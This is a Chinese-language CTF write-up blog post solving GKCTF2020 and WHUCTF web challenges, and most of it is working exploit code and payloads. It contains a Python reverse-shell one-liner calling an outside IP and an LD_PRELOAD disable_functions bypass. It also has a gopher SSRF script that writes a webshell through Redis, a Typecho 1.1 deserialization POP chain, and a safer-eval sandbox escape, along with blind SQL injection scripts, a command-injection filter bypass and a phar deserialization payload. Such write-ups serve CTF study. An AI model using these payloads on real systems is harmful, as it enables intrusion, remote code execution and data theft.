GKCTF&&WHUCTF

GKCTF&&WHUCTF

[GKCTF2020]CheckIN
知识点:绕过disable_function

[GKCTF2020]老八小超市儿
知识点:ShopXO v1.8.0

[GKCTF2020]cve版签到
知识点:cve-2020-7066

[GKCTF2020]Ez三剑客-EzWeb
知识点:ssrf打redis

[GKCTF2020]Ez三剑客-EzTypecho
知识点:Typecho1.1反序列化漏洞

[GKCTF2020]Ez三剑客-EzNode
知识点:saferEval`沙箱逃逸

Easy_ sqli
知识点:bool盲注

ezphp
知识点:/^23333$/`参数换行污染、字符逃逸、md5碰撞

ezcmd
知识点:命令执行绕过

ezinclude
知识点:文件包含,日志包含

Easy_ unserialize
知识点:反序列化

GKCTF

比赛时间5月24日

[GKCTF2020]CheckIN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

代码很简单,通过Ginkgo传参
查看phpinfo();禁用了很多函数cGhwaW5mbygpOw==

1590286265720

列出flag文件print_r(scandir('/'));

cHJpbnRfcihzY2FuZGlyKCcvJykpOw==

1590286317933

highlight_file(‘/readflag’)为一个二进制文件,这里要我们执行./readflag

猜测应该是绕过disable_function
先构造一个shell,这必须加分号;不然执行不了,当时这里卡了一会儿

eval($_POST[b]);

ZXZhbCgkX1BPU1RbYl0pOw==

使用蚁剑连接因为权限问题我们在蚁剑上无法上传文件到根目录,但是我们可以上传到/tmp,首先下载bypass_disablefunc_x64.so共享库文件并上传到/tmp目录下面,将其命名为123.so
在上传一个123.php文件,其内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");
error_log("",1,"",""); #当mail函数被禁用的时候可以使用error_log函数

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

1590290172653

首先要包含/tmp/123.php文件
即先构造:var_dump(eval($_GET[c]));直接包含也可以
最后执行:

1
Ginkgo=dmFyX2R1bXAoZXZhbCgkX0dFVFtjXSkpOw==&c=include('/tmp/123.php');&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so

1590290289429

参考文章

[GKCTF2020]老八小超市儿

这是一个ShopXO v1.8.0,百度找到一个后台getshell
先使用shopxo的默认账号密码进行登录:admin shopxo,admin.php

getshell

1.在后台找到应用中心-应用商店-主题,然后下载默认主题。

2.下载下来的主题是一个安装包,然后把shell(php马子)放到压缩包的default_static_ 目录下
1590292660642

3.回到网页上,找到网站管理-主题管理-主题安装
1590292710140

访问/public/static/index/default/shell.php–>getshell

但是flag在根目录下,需要提权

提权
先反弹shell,在根目录下创建一个PHP文件,这里要buu内网靶机
先写一个shell.php<?php eval(system($_POST[a]));?>
访问shell.php
使用python反弹:

1
2
3
4
5
a=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.125.206",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


进入交互模式:
python -c 'import pty;pty.spawn("/bin/bash")'

里面有一个auto.sh,查看内容可以发现/var/mail/makeflaghint.py,该文件具有root权限
1590323596848

并且每过一段时间便会以root权限执行,我们可以修改文件内容来达到读取flag的目的

1
2
import os
os.system('cat /root/flag > /flag.hint')

1590325066866

这里也没有提权,搞了一上午,改了文件居然手动执行,被自己蠢到了

[GKCTF2020]cve版签到

cve-2020-7066

PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共
同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。
PHP 7.3版本中‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

点击[View CTFHub]跳转到www.ctfhub.com
之后用%00截断访问本地提示要以123结尾
1590368031422

改为127.0.0.123即可

1590367917798

[GKCTF2020]EZ三剑客-EzWeb

考点:ssrf redis

1590541454631

一眼看上去先考虑ssrf,但是过滤了file等协议,不能读取文件。右键查看源码?secrect,访问之得到ip
1590541522775

可以正常访问
1590541773708

使用burp爆破一下端口
1590541992280

173.232.160.11发现提示,之后根据提示爆破端口

1590542900636

发现6379端口,可以通过ssrf攻击redis,
网上搜索一个绝对路径写shell的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib.parse
protocol="gopher://"
ip="173.232.160.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
] #构造redis命令
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)

1590543327304

1
gopher://173.232.160.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

将上面的payload通过url提交,访问

index.php?url=173.232.160.11/shell.php?cmd=system(‘cat</flag’);&submit=提交

1590544309114

[GKCTF2020]EZ三剑客-EzTypecho

考点:Typecho1.1反序列化漏洞
这里可以直接网上搜索payload打
分析:

参考文章:http://www.tomyxy.com/index.php/archives/3.html?replyTo=4

install.php229-235行找到一个unserialize函数

1
2
3
4
5
6
7
8
9
<?php
//
if(!isset($_SESSION)) { die('no, you can\'t unserialize it without session QAQ');}
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

若要执行到这个位置,则首先要满足前面59-76行的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

首先是$_GET['finish']不为空,其次是referer需要是本站
跟进unserialize中的Typecho_Cookie类的get方法,在/var/Typecho/Cookie.php

1
unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

该处的代码主要是给$vaule赋值,可以通过cookie也可以通过post传入我们的__typecho_config

回到第一段代码中,在unserialize之后实例化了一个Typecho_Db类,在/var/Typecho/Db.php中跟进,发现其中有一个__construct魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

其中 $adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;将变量与字符串连接,这时候便调用了魔术方法__toString
全局搜索,发现/var/Typecho/Feed.php__toStrig有可以利用的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
//给师傅们减轻负担QAQ,要加上$item['category'] = array(new Typecho_Request());和$this->_type防止500
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
$item['category'] = array(new Typecho_Request());
if (!empty($item['category']) && is_array($item['category'])) {
foreach ($item['category'] as $category) {
$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
}
}

其中调用了$item['author']->screenName$item$this->_items的foreach循环出来的,并且$this->_itemsTypecho_Feed类的一个private属性。

我们可以利用这个$item来调用某个类的__get()方法,上面说过__get()方法是用于从不可访问的属性读取数据,实际执行中这里会获取该类的screenName属性,如果我们给$item['author']设置的类中没有screenName就会执行该类的__get()方法

再次进行全局搜索__get,在/var/Typecho/Request.php发现一个可利用的__get

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

跟进该类中的get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

跟进_applyFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

发现call_user_func($filter, $value),这个函数的作用是把第一个参数作为回调函数调用,如:

1
2
3
4
5
6
7
8
<?php
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom"); //输出You wanted a mushroom haircut, no problem
call_user_func('barber', "shave"); //输出You wanted a shave haircut, no problem
?>

所以可以利用call_user_func或者array_map来执行代码,如设置$filter为数组,第一个数组键值是assert$value设置php代码,即可执行

整个pop链为:

install.php中unserialize()内容可控==>install.php实例化了一个Typecho_Db,其中获取适配器名称$adapterName时调用了魔术方法__toString==>Feed.php执行__toString()的时候在获取screenName的时候调用了__get()方法==>Request.php中__get()中调用的get(),其中执行了_applyFilte==> Request.php中的_applyFilter()中使用了call_user_func(),该回调函数导致漏洞触发

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Typecho_Feed{
private $_type;
private $_items = array();

public function __construct(){
$this->_type = "RSS 2.0";
$this->_items = array(
array(
"title" => "test",
"link" => "test",
"data" => "20190430",
"author" => new Typecho_Request(),
),
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params = array(
"screenName" => "eval('system(\'cat /flag\');exit;')",
);
$this->_filter = array("assert");
}
}
$a = new Typecho_Feed();
$c = array(
"adapter" => $a,
"prefix" => "test",
);
echo base64_encode(serialize($c));

得到:

1
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7czo0OiJ0ZXN0IjtzOjQ6ImRhdGEiO3M6ODoiMjAxOTA0MzAiO3M6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjM1OiJldmFsKCdzeXN0ZW0oXCdjYXQgL2ZsYWdcJyk7ZXhpdDsnKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NDoidGVzdCI7fQ

最后通过__typecho_config传入
1590552932138

这里finish参数这里不能用,可以改为start
1590553061202

[GKCTF2020]EZ三剑客-EzNode

考点:saferEval沙箱逃逸

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

首先题目导入了safer-eval库,并且给出了其版本为"safer-eval": "1.3.6"
1590564113452

1
2
3
4
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);

这里使用Number.isInteger()函数判断是否为整数,内嵌套了[parseInt() 函数可解析一个字符串,并返回一个整数。]

然后取delay值为最大的整数。

进行 const t = setTimeout(() => next(), delay);

setTimeout( )是设定一个指定等候时间 (单位是千分之一秒, millisecond), 时间到了, 浏览器就会执行一个指定的 method 或 function
其中setTimeout()函数有一个漏洞

1
当delay大于2147483647或小于1时,延迟将设置为1。非整数延迟被截断为整数。

所以当delay设置为1,而1ms====0,直接进入next()下一步

1
2
3
4
5
6
7
8
9
10
11
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

接着就是构造函数执行任意代码:

1
(function(){const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

由于还没学过nodejs,所以直接照搬了

1590568292960

WHUCTF

http://iwhu.info/

比赛时间5月23-27

Easy_sqli

用户名处的盲注
这里使用bool盲注
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
database_name=""
for i in range(1,1000):
for j in range(32,128):
payload = "admin' and ascii(substr(database(),"+str(i)+",1))="+str(j)+"#"
payload2 = "admin' and ascii(substr((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='easy_sql1')," + str(i) + ",1))=" + str(j) + "#"
payload3 = "admin' and ascii(substr((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='f1ag_y0u_wi1l_n3ver_kn0w')," + str(i) + ",1))=" + str(j) + "#"
payload4 = "admin' and ascii(substr((selselectect group_concat(f111114g) frfromom f1ag_y0u_wi1l_n3ver_kn0w)," + str(i) + ",1))=" + str(j) + "#"
data3 = {
"user":payload4,
"pass":"55555"
}
url = 'http://218.197.154.9:10011/login.php'
res = requests.post(url=url,data=data3).text
#print(res)
if "Login success!" in res:
database_name+=chr(j)
print(database_name)

1590203461939

二分法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
database_name=""
for i in range(1,1000):
low = 32
high = 128
mid= (low+high) // 2
while low<high:
payload = "admin' and ascii(substr(database(),"+str(i)+",1))>"+str(mid)+"#"
payload2 = "admin' and ascii(substr((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='easy_sql1')," + str(i) + ",1))>" + str(mid) + "#"
payload3 = "admin' and ascii(substr((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='f1ag_y0u_wi1l_n3ver_kn0w')," + str(i) + ",1))>" + str(mid) + "#"
payload4 = "admin' and ascii(substr((selselectect group_concat(f111114g) frfromom f1ag_y0u_wi1l_n3ver_kn0w)," + str(i) + ",1))>" + str(mid) + "#"
data3 = {
"user":payload,
"pass":"55555"
}
#print(data3)
url = 'http://218.197.154.9:10011/login.php'
res = requests.post(url=url,data=data3).text
#print(res)
if "Login success!" in res:
low = mid+1
mid = (low+high) // 2
else:
high = mid
mid = (low+high) // 2
database_name+=chr(mid)
print(database_name)

ezphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];

//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('会代码审计嘛23333');
}


//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);

if($md5_1 != $md5_2){
$a = strtr($md5_1, 'pggnb', '12345');
$b = strtr($md5_2, 'pggnb', '12345');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}

//3nd
function filter($string){
return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}

1st:
/^23333$/这个正则有个漏洞,可以利用换行污染绕过num=23333%0a
2st:

1
2
3
4
5
6
7
8
9
10
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);

if($md5_1 != $md5_2){
$a = strtr($md5_1, 'pggnb', '12345');
$b = strtr($md5_2, 'pggnb', '12345');
if($a == $b){
echo '2nd ok'."<br>";
}

str1为数字,str1和str2MD5之后不能相等,即不能以0e开头,但是经过strstr替换后又必须相等,即必须0e开头,所以写个脚本爆破,先找一个村数字str1,MD5后为0e+数字,str2加密后为0e开头,并且后面只包含数字和pggnb这几个字母,开始以为必须包含完整的pggnb结果发现strstr函数也会替换单个字母

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
import re
import random
def MD5(data):
return hashlib.md5(data.encode("utf-8")).hexdigest()
def md5_1():
for i in range(30**30):
s = '0123456789pggnb'
data_md5 = MD5(str(i))
print("当前字符串----->"+str(i))
print("加密结果----->"+data_md5)
if data_md5[0:2] == '0e':
if all(map(lambda x: x in s, data_md5[2:])):
print(str(i))
print(data_md5)
break

if __name__ == '__main__':
md5_1()

11230178 0e732639146814822596b49bb6939b97

3st
简单的字符逃逸:

username=xxxxxxxxxxxxxxxxxxxx”;i:1;s:6:”123456”;}

1590282160589

最终payliad:

GET: ?num=23333%0A&str1=0e215962017&str2=11230178

POST: username=xxxxxxxxxxxxxxxxxxxx”;i:1;s:6:”123456”;}

ezcmd

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("no space!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no flag");
} else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
die("cat't read flag");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
highlight_file(__FILE__);

?>

绕过payload:这些网上很多

1
ip=127.0.0.1||b=lag.php;a=f;ca\t$IFS$9$a$b

查看源码得flag

ezinclude

本题由vulnhub靶机DC-5改编,几乎没变
在留言界面点击提交后跳转到
1590240050820

并且随着刷新,下面的年份也在随之变化,说明很有可能存在文件包含,但是不知道参数是什么,所以尝试爆破
1590240225372

参数file报错,尝试文件包含,成功

1590239828484

php://filter/read=convert.base64-encode/resource=flag.php

Easy_unserialize

本题为一个文件上传题,但是题目为反序列化,所以直接想到phar反序列化
但是无论怎样都找不到源码,所以卡了很久,看wp的时候说加一个?acti0n可以通过为协议读取源码,我一抓包才发现。下次做题要细心
1590658556213

接着便是读取源码:php://filter/read/convert.Base64-encode/resource=upload.phpbase被过滤,可以通过大小写绕过
upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
error_reporting(0);
$dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
if(!is_dir($dir)) {
if(!mkdir($dir, 0777, true)) {
echo error_get_last()['message'];
die('Failed to make the directory');
}
}
chdir($dir);
if(isset($_POST['submit'])) {
$name = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$ans = exif_imagetype($tmp_name);
if($_FILES['file']['size'] >= 204800) {
die('filesize too big.');
}
if(!$name) {
die('filename can not be empty!');
}
if(preg_match('/(htaccess)|(user)|(\.\.)|(%)|(#)/i', $name) !== 0) {
die('Hacker!');
}
if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) {
$type = $_FILES['file']['type'];
if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') {
echo "<p align=\"center\">Don't cheat me with Content-Type!</p>";
}
echo("<p align=\"center\">You can't upload this kind of file!</p>");
exit;
}
$content = file_get_contents($tmp_name);
if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) {
echo('<script>alert("You could not upload this image because of some dangerous code in your file!")</script>');
exit;
}

$extension = substr($name, strrpos($name, ".") + 1);
if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) {
die("<p align=\"center\">You can't upload this kind of file!</p>");
}
$upload_file = $name;
move_uploaded_file($tmp_name, $upload_file);

if(file_exists($name)) {
echo "<p align=\"center\">Your file $name has been uploaded.<br></p>";
} else {
echo '<script>alert("上传失败")</script>';
}
echo "<p align=\"center\"><a href=\"view.php\" >点我去看上传的文件</a></p>";
#header("refresh:3;url=index.php");
}
?>

view.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
#include_once "flag.php";
error_reporting(0);
class View
{
public $dir;
private $cmd;

function __construct()
{
$this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
$this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
if(!is_dir($this->dir)) {
mkdir($this->dir, 0777, true);
}
}

function get_file_list() {
$file = scandir('.');
return $file;
}

function show_file_list() {
$file = $this->get_file_list();
for ($i = 2; $i < sizeof($file); $i++) {
echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."] $file[$i] </p>";
}
}

function show_img($file_name) {
$name = $file_name;
$width = getimagesize($name)[0];
$height = getimagesize($name)[1];
$times = $width / 200;
$width /= $times;
$height /= $times;
$template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
echo $template;
}

function delete_img($file_name) {
$name = $file_name;
if (file_exists($name)) {
@unlink($name);
if(!file_exists($name)) {
echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
header("refresh:3;url=view.php");
} else {
echo "Can not delete!";
exit;
}
} else {
echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
}
}

function __destruct() {
eval($this->cmd);
}
}

$ins = new View();
chdir($ins->dir);
echo "<h3>当前目录为 " . $ins->dir . "</h3>";
$ins->show_file_list();
if (isset($_POST['show'])) {
$file_name = $_POST['show'];
$ins->show_img($file_name);
}
if (isset($_POST['delete'])) {
$file_name = $_POST['delete'];
$ins->delete_img($file_name);
}
unset($ins);
?>

在__destruct方法中看到eval,在delete_img方法里面发现file_exists,所以要利用delete进行POST传参
在upload.php里面可以看到过滤了文件内容,所以可以构造show_source('flag.php');
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class View
{
public $dir;
private $cmd="show_source('flag.php');";

}
$phar = new Phar('1.png');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new View();
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();

?>

1590664033919

文章作者:CyzCc
最后更新:2020年06月25日 20:06:14
原始链接:https://cyzcc.vip/2020/05/29/GKCTF--WHUCTF/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------